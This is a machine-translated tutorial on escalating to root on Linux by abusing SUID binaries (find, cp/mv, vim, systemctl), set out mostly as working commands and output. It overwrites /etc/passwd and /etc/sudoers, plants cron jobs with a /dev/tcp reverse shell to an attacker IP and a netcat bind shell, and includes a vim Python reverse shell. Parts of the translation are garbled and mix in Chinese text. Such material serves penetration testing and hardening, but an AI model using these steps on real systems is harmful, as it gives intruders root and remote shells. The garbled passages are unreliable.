Повышение привилегий | Повышение привилегий команд с помощью SUID
Повышение привилегий | Повышение привилегий команд с помощью SUID

Этот пост написал «Сяосян Синань Группа технического обмена”@嘞梦师傅投稿,@3hОрганизовать и опубликовать,Спасибо, что поделились!

@улиткиМастер тоже написал статью,Вы можете обратиться и изучить:Повышение привилегий | методы повышения и восстановления привилегий suid

0x01 Введение в повышение привилегий команды SUID

setuid — это сокращение идентификатора set uid при выполнении. Обычно мы снова сокращаем их до suid. Это флаги разрешений, которые контролируют доступ к файлу. Они позволяют пользователям запускать исполняемые файлы с разрешениями владельца исполняемого файла. является root, другие пользователи могут использовать права root для запуска исполняемых файлов, что создает угрозу безопасности. Пользователи могут повышать привилегии с помощью команд с разрешениями suid и в конечном итоге получать права root.

На следующем рисунке показано, как обычные пользователи изменяют файл /etc/shadow через passwd. В обычных обстоятельствах обычные пользователи не могут напрямую изменять файл /etc/shadow, поскольку команда passwd имеет разрешения suid, поэтому, когда обычные пользователи выполняют passwd, их /etc/shadow. Файл etc/shadow можно изменить, временно изменив разрешения на права root.

0x02 Команда для поиска файлов с разрешениями suid

  • Номер разрешения SUID — 4000.
  • -exec используется для выполнения команды ls -al
  • {} представляет все результаты, найденные предыдущим поиском
  • \; это escape для завершения команды;
  • 2> Вывести стандартную ошибку в /dev/null
Язык кода:javascript
копировать
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null

0x03 Установить разрешения suid для команд

Например, чтобы добавить suid к команде find, вы можете использоватьwhereis или that.

Язык кода:javascript
копировать
[root@localhost ~]# whereis find
find: /usr/bin/find /usr/share/man/man1/find.1.gz
[root@localhost ~]# chmod u+s /usr/bin/find
[root@localhost ~]# ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find

0x04 повышение привилегий команды find

Если команда find имеет suid, вы можете использовать команду find для повышения привилегий. Обратите внимание, что здесь следует добавить параметр -p. Большинство версий в Интернете не имеют параметра -p, что делает невозможным открытие нового файла. оболочка с правами root.

Используйте обычного пользователя для выполнения команды find, чтобы найти существующий файл. Целью здесь является поиск текущего каталога.

Язык кода:javascript
копировать
[admin@localhost ~]$ find . -exec /bin/bash -p \;
bash-4.2# whoami
root

Пояснение параметра -p:

Открывается, когда реальный идентификатор пользователя и эффективный идентификатор пользователя не совпадают. Отключите обработку файлов $ENV и импорт функций оболочки. Отключение этой опции приведет к тому, что эффективные uid и Gid будут установлены на реальные uid и Gid.

Язык кода:javascript
копировать
bash -p параметр
-p  Turned on whenever the real and effective user ids do not match.
    Disables processing of the $ENV file and importing of shell
    functions.  Turning this option off causes the effective uid and
    gid to be set to the real uid and gid.

0x05 повышение привилегий команды cp/mv

Здесь демонстрируется только команда cp, а команда mv такая же.

Способ первый

Используйте cp, чтобы скопировать /etc/passwd в /tmp/passwd.

Язык кода:javascript
копировать
[admin@localhost ~]$ cp /etc/passwd /tmp/passwd
[admin@localhost ~]$ ls -al /tmp/passwd
-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd

Зашифрованный пароль имеет фиксированный формат:

Язык кода:javascript
копировать
$id$salt$encrypted

idПредставляет алгоритм шифрования,1представлятьMD5,5представлятьSHA-256,6представлятьSHA-512 В настоящее время в основном используется алгоритм SHA-512.,Но что бы то ни былоmd5все ещеsha-256все еще поддерживаются。saltПредставляет пароль学中изSalt,сгенерировано системойencryptedПредставляет парольизhash

Язык кода:javascript
копировать
openssl passwd -6 -salt 1 123456  

passwd
Generation of hashed passwords.
-6
Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.
-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.

Сгенерируйте зашифрованный текст на основе криптографического алгоритма sha512 и пароля 123456 с солью 1.

Язык кода:javascript
копировать
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456               
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

Просмотрите содержимое /tmp/passwd, создайте новый пароль и запишите в него содержимое /tmp/passwd и вновь сгенерированный пароль.

Язык кода:javascript
копировать
[admin@localhost ~]$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
...

[admin@localhost ~]$ vim passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...       

Перезапишите /etc/passwd новым созданным паролем.

Язык кода:javascript
копировать
[admin@localhost ~]$ cp passwd /etc/passwd
[admin@localhost ~]$

На этом этапе вы можете переключиться на пользователя root

Способ второй

Создайте файл crontab и используйте cp, чтобы перезаписать /etc/crontab.

Язык кода:javascript
копировать
[admin@localhost ~]$ cat crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
Язык кода:javascript
копировать
cp crontab /etc/crontab

Наконец дождитесь соединения

Способ третий

Создайте файл root_access.

Язык кода:javascript
копировать
#!/bin/sh

cp /bin/bash /tmp/root_access
chmod +xs /tmp/root_access

Дайте разрешение на выполнение файла root_access и поместите его в /etc/cron.hourly, чтобы он выполнялся каждый час.

Язык кода:javascript
копировать
[admin@localhost ~]$ chmod +x root_access
[admin@localhost ~]$ cp root_access /etc/cron.hourly

Подождите, пока будет создан root_access, и, наконец, выполните /tmp/root_access -p

Язык кода:javascript
копировать
[admin@localhost ~]$ /tmp/root_access -p
root_access-4.2#

0x06 Vim и другие команды редактора повышают привилегии

Способ первый

Чтобы сгенерировать новый пароль, отредактируйте /etc/passwd

Язык кода:javascript
копировать
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456               
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

[admin@localhost ~]$ vim /etc/passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...

:wq!

Войдите в систему root, используя новый пароль

Способ второй

Измените файл /etc/sudoers, чтобы у обычных пользователей были разрешения sudo. Обратите внимание, что здесь используется имя текущего обычного пользователя. Здесь используется имя пользователя admin.

Язык кода:javascript
копировать
[admin@localhost ~]$ vim /etc/sudoers
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere
root    ALL=(ALL)       ALL
admin   ALL=(ALL)      ALL
...

:wq!

Способ третий

Измените файл /etc/crontab и напишите пользователя root для выполнения запланированных задач.

Язык кода:javascript
копировать
[admin@localhost ~]$ vim /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

* * * * * root nc -lp 9001 -e /bin/bash

:wq!

Подключение к атакующей машине повышает привилегии

Способ четвертый

Используйте vim для выполнения команд Python, пересылайте оболочку, обязательно добавьте сюда параметр -p.

Язык кода:javascript
копировать
[admin@localhost ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'

bash-4.2# whoami
root
bash-4.2#

Rebound Shell, обратите внимание, что для добавления параметра -p можно использовать только модуль подпроцесса, а модуль pty не может добавить параметр -p.

Язык кода:javascript
копировать
[admin@localhost ~]$ export RHOST=192.168.217.128
[admin@localhost ~]$ export RPORT=9001
[admin@localhost ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
p=subprocess.call(["/bin/bash","-ip"]);
vim.command(":q!")'

0x07 повышение привилегий команды systemctl

Если у systemctl есть разрешения suid, вы можете использовать systemctl для повышения привилегий. systemctl — это пакет программного обеспечения Linux для управления службами. Его можно использовать, создав службу, которая будет выполнять произвольные команды от имени пользователя root при запуске.

В следующем примере будет создана копия /bin/bash с SUID, что позволит злоумышленнику выполнить bash от имени пользователя root:

Язык кода:javascript
копировать
[admin@localhost ~]$ TF=$(mktemp).service
[admin@localhost ~]$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"
> [Install]
> WantedBy=multi-user.target' > $TF
[admin@localhost ~]$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ /tmp/stef -p
stef-4.2# whoami
root
boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода